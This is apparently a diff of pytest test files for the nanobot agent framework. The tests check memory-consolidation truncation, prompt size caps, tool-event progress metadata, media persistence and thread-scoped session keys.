mock_provider.chat_with_retry.return_value = MagicMock(
|
||||
content="Summary of large input.", finish_reason="stop"
|
||||
)
|
||||
await consolidator.archive(big_messages)
|
||||
|
||||
call_args = mock_provider.chat_with_retry.call_args
|
||||
user_content = call_args.kwargs["messages"][1]["content"]
|
||||
# Should be significantly shorter than 100K
|
||||
assert len(user_content) < 50_000
|
||||
|
||||
async def test_archive_truncates_with_small_token_budget(self, consolidator, mock_provider, store):
|
||||
"""Small context window: truncation uses actual tokenizer count."""
|
||||
consolidator.context_window_tokens = 500
|
||||
big_messages = [{"role": "user", "content": "word " * 50_000}]
|
||||
mock_provider.chat_with_retry.return_value = MagicMock(
|
||||
content="Summary.", finish_reason="stop"
|
||||
)
|
||||
await consolidator.archive(big_messages)
|
||||
|
||||
sent_messages = mock_provider.chat_with_retry.call_args.kwargs["messages"]
|
||||
user_content = sent_messages[1]["content"]
|
||||
# budget = 500 - 100 - 1024 = negative, fallback char-based
|
||||
# Should be truncated
|
||||
assert len(user_content) < 250_000
|
||||
|
||||
async def test_oversized_summary_is_capped_before_append(self, consolidator, mock_provider, store):
|
||||
"""A pathologically large LLM summary must not land full-length in
|
||||
history.jsonl — that would re-open the #3412 bloat vector from the
|
||||
*success* path instead of the fallback path."""
|
||||
mock_provider.chat_with_retry.return_value = MagicMock(
|
||||
content="S" * (_ARCHIVE_SUMMARY_MAX_CHARS * 10),
|
||||
finish_reason="stop",
|
||||
)
|
||||
await consolidator.archive([{"role": "user", "content": "hi"}])
|
||||
|
||||
entry = store.read_unprocessed_history(since_cursor=0)[0]
|
||||
assert len(entry["content"]) <= _ARCHIVE_SUMMARY_MAX_CHARS + 50
|
||||
|
||||
async def test_archive_truncates_via_tiktoken_with_positive_budget(self, consolidator, mock_provider, store):
|
||||
"""Positive token budget should use tiktoken for precise truncation."""
|
||||
consolidator.context_window_tokens = 10_000
|
||||
consolidator._SAFETY_BUFFER = 0
|
||||
# budget = 10000 - 100 - 0 = 9900 tokens
|
||||
big_messages = [{"role": "user", "content": "word " * 50_000}]
|
||||
mock_provider.chat_with_retry.return_value = MagicMock(
|
||||
content="Summary.", finish_reason="stop"
|
||||
)
|
||||
await consolidator.archive(big_messages)
|
||||
|
||||
import tiktoken
|
||||
enc = tiktoken.get_encoding("cl100k_base")
|
||||
sent_content = mock_provider.chat_with_retry.call_args.kwargs["messages"][1]["content"]
|
||||
token_count = len(enc.encode(sent_content))
|
||||
assert token_count <= 9_900 + 10 # small margin for truncation suffix
|
||||
|
||||
@@ -116,6 +116,20 @@ def test_recent_history_capped_at_max(tmp_path) -> None:
|
||||
assert f"entry-{builder._MAX_RECENT_HISTORY + 19}" in prompt
|
||||
|
||||
|
||||
def test_recent_history_truncated_at_max_chars(tmp_path) -> None:
|
||||
"""Recent History section must be truncated at _MAX_HISTORY_CHARS."""
|
||||
workspace = _make_workspace(tmp_path)
|
||||
builder = ContextBuilder(workspace)
|
||||
|
||||
big_entry = "x" * (builder._MAX_HISTORY_CHARS + 5_000)
|
||||
builder.memory.append_history(big_entry)
|
||||
|
||||
prompt = builder.build_system_prompt()
|
||||
history_section = prompt.split("# Recent History\n\n", 1)
|
||||
assert len(history_section) == 2
|
||||
assert len(history_section[1]) < builder._MAX_HISTORY_CHARS + 200
|
||||
|
||||
|
||||
def test_no_recent_history_when_dream_has_processed_all(tmp_path) -> None:
|
||||
"""If Dream has consumed everything, no Recent History section should appear."""
|
||||
workspace = _make_workspace(tmp_path)
|
||||
@@ -174,6 +188,17 @@ def test_identity_has_no_behavioral_instructions(tmp_path) -> None:
|
||||
assert "Execution Rules" not in identity
|
||||
|
||||
|
||||
def test_system_prompt_does_not_warn_about_message_time_markers(tmp_path) -> None:
|
||||
"""Parroting is prevented by not annotating assistant turns in history;
|
||||
no prompt-level warning about ``[Message Time: ...]`` is needed."""
|
||||
workspace = _make_workspace(tmp_path)
|
||||
builder = ContextBuilder(workspace)
|
||||
|
||||
prompt = builder.build_system_prompt()
|
||||
|
||||
assert "Message Time" not in prompt
|
||||
|
||||
|
||||
def test_default_soul_template_contains_execution_rules() -> None:
|
||||
"""Default SOUL.md template must contain execution rules with act/plan layering."""
|
||||
soul = (pkg_files("nanobot") / "templates" / "SOUL.md").read_text(encoding="utf-8")
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
"""Tests for the Dream class — two-phase memory consolidation via AgentRunner."""
|
||||
|
||||
import json
|
||||
|
||||
import pytest
|
||||
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
@@ -256,3 +258,52 @@ class TestDreamRun:
|
||||
# The template renders with stale_threshold_days=14 → LLM must see "N>14"
|
||||
assert "N>14" in system_msg
|
||||
|
||||
|
||||
class TestDreamPromptCaps:
|
||||
"""Dream's Phase 1/2 prompt must not be poisoned by a legacy oversized
|
||||
history entry or a runaway MEMORY.md. Without caps, a single pre-#3412
|
||||
raw_archive dump in history.jsonl would make every subsequent Dream run
|
||||
exceed the context window and silently advance the cursor past real work.
|
||||
"""
|
||||
|
||||
async def test_phase1_caps_huge_memory_file(
|
||||
self, dream, mock_provider, mock_runner, store,
|
||||
):
|
||||
"""A MEMORY.md much larger than _MEMORY_FILE_MAX_CHARS must be truncated
|
||||
in the prompt preview (full content is still reachable via read_file)."""
|
||||
store.write_memory("M" * (dream._MEMORY_FILE_MAX_CHARS * 5))
|
||||
store.append_history("some event")
|
||||
mock_provider.chat_with_retry.return_value = MagicMock(content="[SKIP]")
|
||||
mock_runner.run = AsyncMock(return_value=_make_run_result())
|
||||
|
||||
await dream.run()
|
||||
|
||||
user_msg = mock_provider.chat_with_retry.call_args.kwargs["messages"][1]["content"]
|
||||
memory_section = user_msg.split("## Current MEMORY.md")[1].split("## Current SOUL.md")[0]
|
||||
assert len(memory_section) < dream._MEMORY_FILE_MAX_CHARS + 500
|
||||
|
||||
async def test_phase1_caps_huge_history_entry(
|
||||
self, dream, mock_provider, mock_runner, store,
|
||||
):
|
||||
"""A legacy oversized history entry (e.g. pre-#3412 raw_archive dump)
|
||||
must not explode the Phase 1 prompt — each entry is capped in the
|
||||
preview, even though the JSONL record itself stays full-size."""
|
||||
# Bypass the append_history cap by writing directly, simulating a
|
||||
# record that was written by an older nanobot build before any caps.
|
||||
store.history_file.write_text(
|
||||
json.dumps({
|
||||
"cursor": 1,
|
||||
"timestamp": "2026-04-01 10:00",
|
||||
"content": "H" * (dream._HISTORY_ENTRY_PREVIEW_MAX_CHARS * 8),
|
||||
}) + "\n",
|
||||
encoding="utf-8",
|
||||
)
|
||||
mock_provider.chat_with_retry.return_value = MagicMock(content="[SKIP]")
|
||||
mock_runner.run = AsyncMock(return_value=_make_run_result())
|
||||
|
||||
await dream.run()
|
||||
|
||||
user_msg = mock_provider.chat_with_retry.call_args.kwargs["messages"][1]["content"]
|
||||
history_section = user_msg.split("## Conversation History\n")[1].split("\n\n## Current Date")[0]
|
||||
assert len(history_section) < dream._HISTORY_ENTRY_PREVIEW_MAX_CHARS + 500
|
||||
|
||||
|
||||
@@ -0,0 +1,216 @@
|
||||
"""Tests for structured tool-event progress metadata emitted by AgentLoop."""
|
||||
|
||||
from pathlib import Path
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.base import LLMResponse, ToolCallRequest
|
||||
|
||||
|
||||
def _make_loop(tmp_path: Path) -> AgentLoop:
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
return AgentLoop(bus=bus, provider=provider, workspace=tmp_path, model="test-model")
|
||||
|
||||
|
||||
class TestToolEventProgress:
|
||||
"""_run_agent_loop emits structured tool_events via on_progress."""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_start_and_finish_events_emitted(self, tmp_path: Path) -> None:
|
||||
loop = _make_loop(tmp_path)
|
||||
tool_call = ToolCallRequest(id="call1", name="custom_tool", arguments={"path": "foo.txt"})
|
||||
calls = iter([
|
||||
LLMResponse(content="Visible", tool_calls=[tool_call]),
|
||||
LLMResponse(content="Done", tool_calls=[]),
|
||||
])
|
||||
loop.provider.chat_with_retry = AsyncMock(side_effect=lambda *a, **kw: next(calls))
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.tools.prepare_call = MagicMock(return_value=(None, {"path": "foo.txt"}, None))
|
||||
loop.tools.execute = AsyncMock(return_value="ok")
|
||||
|
||||
progress: list[tuple[str, bool, list[dict] | None]] = []
|
||||
|
||||
async def on_progress(
|
||||
content: str,
|
||||
*,
|
||||
tool_hint: bool = False,
|
||||
tool_events: list[dict] | None = None,
|
||||
) -> None:
|
||||
progress.append((content, tool_hint, tool_events))
|
||||
|
||||
final_content, _, _, _, _ = await loop._run_agent_loop([], on_progress=on_progress)
|
||||
|
||||
assert final_content == "Done"
|
||||
assert progress == [
|
||||
("Visible", False, None),
|
||||
(
|
||||
'custom_tool("foo.txt")',
|
||||
True,
|
||||
[{
|
||||
"version": 1,
|
||||
"phase": "start",
|
||||
"call_id": "call1",
|
||||
"name": "custom_tool",
|
||||
"arguments": {"path": "foo.txt"},
|
||||
"result": None,
|
||||
"error": None,
|
||||
"files": [],
|
||||
"embeds": [],
|
||||
}],
|
||||
),
|
||||
(
|
||||
"",
|
||||
False,
|
||||
[{
|
||||
"version": 1,
|
||||
"phase": "end",
|
||||
"call_id": "call1",
|
||||
"name": "custom_tool",
|
||||
"arguments": {"path": "foo.txt"},
|
||||
"result": "ok",
|
||||
"error": None,
|
||||
"files": [],
|
||||
"embeds": [],
|
||||
}],
|
||||
),
|
||||
]
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_bus_progress_forwards_tool_events_to_outbound_metadata(self, tmp_path: Path) -> None:
|
||||
"""When run() handles a bus message, _tool_events lands in OutboundMessage metadata."""
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
loop = AgentLoop(bus=bus, provider=provider, workspace=tmp_path, model="test-model")
|
||||
|
||||
tool_call = ToolCallRequest(id="tc1", name="exec", arguments={"command": "ls"})
|
||||
calls = iter([
|
||||
LLMResponse(content="", tool_calls=[tool_call]),
|
||||
LLMResponse(content="Done", tool_calls=[]),
|
||||
])
|
||||
loop.provider.chat_with_retry = AsyncMock(side_effect=lambda *a, **kw: next(calls))
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.tools.prepare_call = MagicMock(return_value=(None, {"command": "ls"}, None))
|
||||
loop.tools.execute = AsyncMock(return_value="file.txt")
|
||||
|
||||
msg = InboundMessage(
|
||||
channel="telegram",
|
||||
sender_id="u1",
|
||||
chat_id="chat1",
|
||||
content="run ls",
|
||||
)
|
||||
await loop._dispatch(msg)
|
||||
|
||||
# Drain all outbound messages and find the one carrying _tool_events
|
||||
outbound = []
|
||||
while bus.outbound_size > 0:
|
||||
outbound.append(await bus.consume_outbound())
|
||||
|
||||
tool_event_msgs = [m for m in outbound if m.metadata and m.metadata.get("_tool_events")]
|
||||
assert tool_event_msgs, "expected at least one outbound message with _tool_events"
|
||||
|
||||
start_msgs = [m for m in tool_event_msgs if m.metadata["_tool_events"][0]["phase"] == "start"]
|
||||
finish_msgs = [m for m in tool_event_msgs if m.metadata["_tool_events"][0]["phase"] in ("end", "error")]
|
||||
assert start_msgs, "expected a start-phase tool event"
|
||||
assert finish_msgs, "expected a finish-phase tool event"
|
||||
|
||||
start = start_msgs[0].metadata["_tool_events"][0]
|
||||
assert start["name"] == "exec"
|
||||
assert start["call_id"] == "tc1"
|
||||
assert start["result"] is None
|
||||
|
||||
finish = finish_msgs[0].metadata["_tool_events"][0]
|
||||
assert finish["phase"] == "end"
|
||||
assert finish["result"] == "file.txt"
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_bus_progress_streams_provider_deltas_for_codex_style_provider(
|
||||
self,
|
||||
tmp_path: Path,
|
||||
) -> None:
|
||||
"""Providers that opt in can stream content deltas through _progress messages."""
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
provider.supports_progress_deltas = True
|
||||
provider.get_default_model.return_value = "openai-codex/gpt-5.5"
|
||||
|
||||
async def chat_stream_with_retry(*, on_content_delta, **kwargs):
|
||||
await on_content_delta("Hel")
|
||||
await on_content_delta("lo")
|
||||
return LLMResponse(content="Hello", tool_calls=[])
|
||||
|
||||
provider.chat_stream_with_retry = chat_stream_with_retry
|
||||
provider.chat_with_retry = AsyncMock()
|
||||
loop = AgentLoop(bus=bus, provider=provider, workspace=tmp_path, model="openai-codex/gpt-5.5")
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
|
||||
await loop._dispatch(InboundMessage(
|
||||
channel="websocket",
|
||||
sender_id="u1",
|
||||
chat_id="chat1",
|
||||
content="say hello",
|
||||
))
|
||||
|
||||
outbound = []
|
||||
while bus.outbound_size > 0:
|
||||
outbound.append(await bus.consume_outbound())
|
||||
|
||||
progress = [m for m in outbound if m.metadata.get("_progress")]
|
||||
final = [m for m in outbound if not m.metadata.get("_progress")]
|
||||
|
||||
assert [m.content for m in progress] == ["Hel", "lo"]
|
||||
assert final[-1].content == "Hello"
|
||||
provider.chat_with_retry.assert_not_awaited()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_streamed_progress_is_not_repeated_before_tool_execution(
|
||||
self,
|
||||
tmp_path: Path,
|
||||
) -> None:
|
||||
"""If content was already streamed as progress, tool setup should not repeat it."""
|
||||
loop = _make_loop(tmp_path)
|
||||
loop.provider.supports_progress_deltas = True
|
||||
tool_call = ToolCallRequest(id="call1", name="custom_tool", arguments={"path": "foo.txt"})
|
||||
calls = iter([
|
||||
LLMResponse(content="I will inspect it.", tool_calls=[tool_call]),
|
||||
LLMResponse(content="Done", tool_calls=[]),
|
||||
])
|
||||
|
||||
async def chat_stream_with_retry(*, on_content_delta, **kwargs):
|
||||
response = next(calls)
|
||||
if response.tool_calls:
|
||||
await on_content_delta("I will ")
|
||||
await on_content_delta("inspect it.")
|
||||
return response
|
||||
|
||||
loop.provider.chat_stream_with_retry = chat_stream_with_retry
|
||||
loop.provider.chat_with_retry = AsyncMock()
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.tools.prepare_call = MagicMock(return_value=(None, {"path": "foo.txt"}, None))
|
||||
loop.tools.execute = AsyncMock(return_value="ok")
|
||||
|
||||
progress: list[tuple[str, bool, list[dict] | None]] = []
|
||||
|
||||
async def on_progress(
|
||||
content: str,
|
||||
*,
|
||||
tool_hint: bool = False,
|
||||
tool_events: list[dict] | None = None,
|
||||
) -> None:
|
||||
progress.append((content, tool_hint, tool_events))
|
||||
|
||||
final_content, _, _, _, _ = await loop._run_agent_loop([], on_progress=on_progress)
|
||||
|
||||
assert final_content == "Done"
|
||||
assert [item[0] for item in progress[:3]] == [
|
||||
"I will",
|
||||
" inspect it.",
|
||||
'custom_tool("foo.txt")',
|
||||
]
|
||||
assert all(item[0] != "I will inspect it." for item in progress)
|
||||
@@ -234,6 +234,87 @@ async def test_process_message_persists_user_message_before_turn_completes(tmp_p
|
||||
assert persisted.updated_at >= persisted.created_at
|
||||
|
||||
|
||||
# 1x1 PNG used by the media-persistence tests. ``extract_documents`` runs
|
||||
# at the top of ``_process_message`` and filters ``msg.media`` down to
|
||||
# paths that magic-byte-sniff as images, so the test fixture needs real
|
||||
# bytes on disk (not just placeholder paths).
|
||||
_PNG_1X1 = (
|
||||
b"\x89PNG\r\n\x1a\n"
|
||||
b"\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01"
|
||||
b"\x08\x06\x00\x00\x00\x1f\x15\xc4\x89"
|
||||
b"\x00\x00\x00\nIDATx\x9cc\x00\x00\x00\x02\x00\x01"
|
||||
b"\x00\x00\x00\x00IEND\xaeB`\x82"
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_message_persists_media_paths_on_user_turn(tmp_path: Path) -> None:
|
||||
"""User turns that attach images must record the media paths alongside
|
||||
the text so the webui can rehydrate previews on session replay.
|
||||
|
||||
This is the producer half of the signed-media-URL round-trip: paths are
|
||||
stored here, then :meth:`WebSocketChannel._augment_media_urls` maps them
|
||||
onto signed URLs on the way out.
|
||||
"""
|
||||
img_a = tmp_path / "uuid-1.png"
|
||||
img_a.write_bytes(_PNG_1X1)
|
||||
img_b = tmp_path / "uuid-2.png"
|
||||
img_b.write_bytes(_PNG_1X1)
|
||||
|
||||
loop = _make_full_loop(tmp_path)
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
loop._run_agent_loop = AsyncMock(side_effect=RuntimeError("interrupt")) # type: ignore[method-assign]
|
||||
|
||||
msg = InboundMessage(
|
||||
channel="websocket",
|
||||
sender_id="u1",
|
||||
chat_id="c-media",
|
||||
content="look",
|
||||
media=[str(img_a), str(img_b)],
|
||||
)
|
||||
with pytest.raises(RuntimeError, match="interrupt"):
|
||||
await loop._process_message(msg)
|
||||
|
||||
loop.sessions.invalidate("websocket:c-media")
|
||||
persisted = loop.sessions.get_or_create("websocket:c-media")
|
||||
assert [m["role"] for m in persisted.messages] == ["user"]
|
||||
assert persisted.messages[0]["content"] == "look"
|
||||
assert persisted.messages[0]["media"] == [str(img_a), str(img_b)]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_message_persists_media_only_turn_without_text(tmp_path: Path) -> None:
|
||||
"""A turn with images but no text still persists (previously silent-dropped).
|
||||
|
||||
The old early-persist gate skipped messages without text, leaving pure
|
||||
image turns un-checkpointed. They now materialise as an empty-content
|
||||
user row with ``media`` attached.
|
||||
"""
|
||||
img = tmp_path / "only.png"
|
||||
img.write_bytes(_PNG_1X1)
|
||||
|
||||
loop = _make_full_loop(tmp_path)
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
loop._run_agent_loop = AsyncMock(side_effect=RuntimeError("boom")) # type: ignore[method-assign]
|
||||
|
||||
msg = InboundMessage(
|
||||
channel="websocket",
|
||||
sender_id="u1",
|
||||
chat_id="c-images-only",
|
||||
content="",
|
||||
media=[str(img)],
|
||||
)
|
||||
with pytest.raises(RuntimeError):
|
||||
await loop._process_message(msg)
|
||||
|
||||
loop.sessions.invalidate("websocket:c-images-only")
|
||||
persisted = loop.sessions.get_or_create("websocket:c-images-only")
|
||||
assert len(persisted.messages) == 1
|
||||
assert persisted.messages[0]["role"] == "user"
|
||||
assert persisted.messages[0]["content"] == ""
|
||||
assert persisted.messages[0]["media"] == [str(img)]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_message_does_not_duplicate_early_persisted_user_message(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
@@ -267,6 +348,61 @@ async def test_process_message_does_not_duplicate_early_persisted_user_message(t
|
||||
assert AgentLoop._PENDING_USER_TURN_KEY not in session.metadata
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_message_uses_context_chat_id_for_runtime_prompt(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
loop.context.build_messages = MagicMock( # type: ignore[method-assign]
|
||||
return_value=[
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "runtime + hello"},
|
||||
]
|
||||
)
|
||||
loop._run_agent_loop = AsyncMock(return_value=( # type: ignore[method-assign]
|
||||
"done",
|
||||
[],
|
||||
[
|
||||
{"role": "system", "content": "system"},
|
||||
{"role": "user", "content": "runtime + hello"},
|
||||
{"role": "assistant", "content": "done"},
|
||||
],
|
||||
"stop",
|
||||
False,
|
||||
))
|
||||
|
||||
result = await loop._process_message(
|
||||
InboundMessage(
|
||||
channel="discord",
|
||||
sender_id="u1",
|
||||
chat_id="thread-777",
|
||||
content="hello",
|
||||
metadata={"context_chat_id": "parent-456"},
|
||||
session_key_override="discord:parent-456:thread:thread-777",
|
||||
)
|
||||
)
|
||||
|
||||
assert result is not None
|
||||
assert result.chat_id == "thread-777"
|
||||
assert loop.context.build_messages.call_args.kwargs["chat_id"] == "parent-456"
|
||||
assert loop._run_agent_loop.call_args.kwargs["chat_id"] == "thread-777"
|
||||
|
||||
|
||||
def test_set_tool_context_uses_effective_key_for_spawn_tool(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
spawn_tool = loop.tools.get("spawn")
|
||||
assert spawn_tool is not None
|
||||
|
||||
loop._set_tool_context(
|
||||
"discord",
|
||||
"thread-777",
|
||||
session_key="discord:parent-456:thread:thread-777",
|
||||
)
|
||||
|
||||
assert spawn_tool._origin_channel.get() == "discord" # type: ignore[attr-defined]
|
||||
assert spawn_tool._origin_chat_id.get() == "thread-777" # type: ignore[attr-defined]
|
||||
assert spawn_tool._session_key.get() == "discord:parent-456:thread:thread-777" # type: ignore[attr-defined]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_next_turn_after_crash_closes_pending_user_turn_before_new_input(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
@@ -454,7 +590,14 @@ async def test_system_subagent_followup_is_persisted_before_prompt_assembly(tmp_
|
||||
)
|
||||
|
||||
non_system = [m for m in seen["initial_messages"] if m.get("role") != "system"]
|
||||
assert [m["content"] for m in non_system[:2]] == ["question", "working"]
|
||||
assert "question" in non_system[0]["content"]
|
||||
assert "working" in non_system[1]["content"]
|
||||
# User turns carry the timestamp prefix so the model can reason about
|
||||
# relative time. Assistant turns do NOT, otherwise the model treats those
|
||||
# past replies as in-context examples and starts its own outputs with
|
||||
# ``[Message Time: ...]`` (which then leaks back to the user).
|
||||
assert "[Message Time:" in non_system[0]["content"]
|
||||
assert "[Message Time:" not in non_system[1]["content"]
|
||||
assert non_system[2]["content"].count("subagent result") == 1
|
||||
assert "Current Time:" in non_system[2]["content"]
|
||||
|
||||
@@ -576,3 +719,63 @@ def test_subagent_followup_skips_empty_content() -> None:
|
||||
|
||||
assert loop._persist_subagent_followup(session, msg) is False
|
||||
assert session.messages == []
|
||||
|
||||
|
||||
def test_set_tool_context_passes_thread_session_key_to_spawn(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
|
||||
loop._set_tool_context(
|
||||
"slack",
|
||||
"C123",
|
||||
metadata={"slack": {"thread_ts": "1700.42", "channel_type": "channel"}},
|
||||
session_key="slack:C123:1700.42",
|
||||
)
|
||||
|
||||
spawn_tool = loop.tools.get("spawn")
|
||||
assert spawn_tool is not None
|
||||
assert spawn_tool._session_key.get() == "slack:C123:1700.42"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_system_subagent_followup_uses_thread_session_and_slack_metadata(tmp_path: Path) -> None:
|
||||
loop = _make_full_loop(tmp_path)
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
|
||||
thread_session = loop.sessions.get_or_create("slack:C123:1700.42")
|
||||
thread_session.add_message("user", "thread question")
|
||||
loop.sessions.save(thread_session)
|
||||
|
||||
seen: dict[str, list[dict]] = {}
|
||||
|
||||
async def fake_run_agent_loop(initial_messages, **_kwargs):
|
||||
seen["initial_messages"] = initial_messages
|
||||
return (
|
||||
"done",
|
||||
[],
|
||||
[*initial_messages, {"role": "assistant", "content": "done"}],
|
||||
"stop",
|
||||
False,
|
||||
)
|
||||
|
||||
loop._run_agent_loop = fake_run_agent_loop # type: ignore[method-assign]
|
||||
|
||||
outbound = await loop._process_message(
|
||||
InboundMessage(
|
||||
channel="system",
|
||||
sender_id="subagent",
|
||||
chat_id="slack:C123",
|
||||
content="subagent result",
|
||||
session_key_override="slack:C123:1700.42",
|
||||
metadata={"subagent_task_id": "sub-1"},
|
||||
)
|
||||
)
|
||||
|
||||
assert outbound is not None
|
||||
assert outbound.channel == "slack"
|
||||
assert outbound.chat_id == "C123"
|
||||
assert outbound.metadata == {"slack": {"thread_ts": "1700.42"}}
|
||||
assert "thread question" in seen["initial_messages"][1]["content"]
|
||||
|
||||
loop.sessions.invalidate("slack:C123:1700.42")
|
||||
persisted = loop.sessions.get_or_create("slack:C123:1700.42")
|
||||
assert any(m.get("subagent_task_id") == "sub-1" for m in persisted.messages)
|
||||
|
||||
@@ -0,0 +1,90 @@
|
||||
from pathlib import Path
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.base import LLMResponse, ToolCallRequest
|
||||
|
||||
|
||||
class _ContextRecordingTool:
|
||||
name = "cron"
|
||||
concurrency_safe = False
|
||||
|
||||
def __init__(self) -> None:
|
||||
self.contexts: list[dict] = []
|
||||
|
||||
def set_context(
|
||||
self,
|
||||
channel: str,
|
||||
chat_id: str,
|
||||
metadata: dict | None = None,
|
||||
session_key: str | None = None,
|
||||
) -> None:
|
||||
self.contexts.append({
|
||||
"channel": channel,
|
||||
"chat_id": chat_id,
|
||||
"metadata": metadata,
|
||||
"session_key": session_key,
|
||||
})
|
||||
|
||||
async def execute(self, **_kwargs) -> str:
|
||||
return "created"
|
||||
|
||||
|
||||
class _Tools:
|
||||
def __init__(self, tool: _ContextRecordingTool) -> None:
|
||||
self.tool = tool
|
||||
|
||||
def get(self, name: str):
|
||||
return self.tool if name == "cron" else None
|
||||
|
||||
def get_definitions(self) -> list:
|
||||
return []
|
||||
|
||||
def prepare_call(self, name: str, arguments: dict):
|
||||
return (self.tool, arguments, None) if name == "cron" else (None, arguments, None)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_loop_hook_preserves_metadata_when_resetting_tool_context(tmp_path: Path) -> None:
|
||||
provider = MagicMock()
|
||||
calls = {"n": 0}
|
||||
|
||||
async def chat_with_retry(**_kwargs):
|
||||
calls["n"] += 1
|
||||
if calls["n"] == 1:
|
||||
return LLMResponse(
|
||||
content=None,
|
||||
tool_calls=[ToolCallRequest(id="call_1", name="cron", arguments={"action": "add"})],
|
||||
)
|
||||
return LLMResponse(content="done", tool_calls=[])
|
||||
|
||||
provider.chat_with_retry = chat_with_retry
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=provider,
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
)
|
||||
cron = _ContextRecordingTool()
|
||||
loop.tools = _Tools(cron)
|
||||
|
||||
metadata = {"slack": {"thread_ts": "111.222", "channel_type": "channel"}}
|
||||
await loop._run_agent_loop(
|
||||
[],
|
||||
channel="slack",
|
||||
chat_id="C123",
|
||||
metadata=metadata,
|
||||
session_key="slack:C123:111.222",
|
||||
)
|
||||
|
||||
assert cron.contexts[-1] == {
|
||||
"channel": "slack",
|
||||
"chat_id": "C123",
|
||||
"metadata": metadata,
|
||||
"session_key": "slack:C123:111.222",
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
"""Tests for max_messages config wiring into session history replay."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from pathlib import Path
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.base import LLMResponse
|
||||
from nanobot.session.manager import Session
|
||||
|
||||
DEFAULT_MAX_MESSAGES = 120
|
||||
|
||||
|
||||
def _make_loop(tmp_path: Path, max_messages: int = DEFAULT_MAX_MESSAGES) -> AgentLoop:
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
return AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=provider,
|
||||
workspace=tmp_path,
|
||||
model="test-model",
|
||||
max_messages=max_messages,
|
||||
)
|
||||
|
||||
|
||||
def _populated_session(n: int) -> Session:
|
||||
"""Create a session with *n* user/assistant turn pairs."""
|
||||
session = Session(key="test:populated")
|
||||
for i in range(n):
|
||||
session.add_message("user", f"msg-{i}")
|
||||
session.add_message("assistant", f"reply-{i}")
|
||||
return session
|
||||
|
||||
|
||||
class TestMaxMessagesInit:
|
||||
"""Verify AgentLoop stores the config value correctly."""
|
||||
|
||||
def test_default_is_builtin_limit(self, tmp_path: Path) -> None:
|
||||
loop = _make_loop(tmp_path)
|
||||
assert loop._max_messages == DEFAULT_MAX_MESSAGES
|
||||
|
||||
def test_positive_value_stored(self, tmp_path: Path) -> None:
|
||||
loop = _make_loop(tmp_path, max_messages=25)
|
||||
assert loop._max_messages == 25
|
||||
|
||||
def test_zero_uses_builtin_limit(self, tmp_path: Path) -> None:
|
||||
loop = _make_loop(tmp_path, max_messages=0)
|
||||
assert loop._max_messages == DEFAULT_MAX_MESSAGES
|
||||
|
||||
def test_negative_treated_as_builtin_limit(self, tmp_path: Path) -> None:
|
||||
"""Negative values should not produce negative slicing."""
|
||||
loop = _make_loop(tmp_path, max_messages=-5)
|
||||
assert loop._max_messages == DEFAULT_MAX_MESSAGES
|
||||
|
||||
|
||||
class TestGetHistoryWithMaxMessages:
|
||||
"""Verify get_history respects max_messages parameter."""
|
||||
|
||||
def test_default_uses_builtin_limit(self) -> None:
|
||||
session = _populated_session(80)
|
||||
history = session.get_history()
|
||||
assert len(history) <= DEFAULT_MAX_MESSAGES
|
||||
|
||||
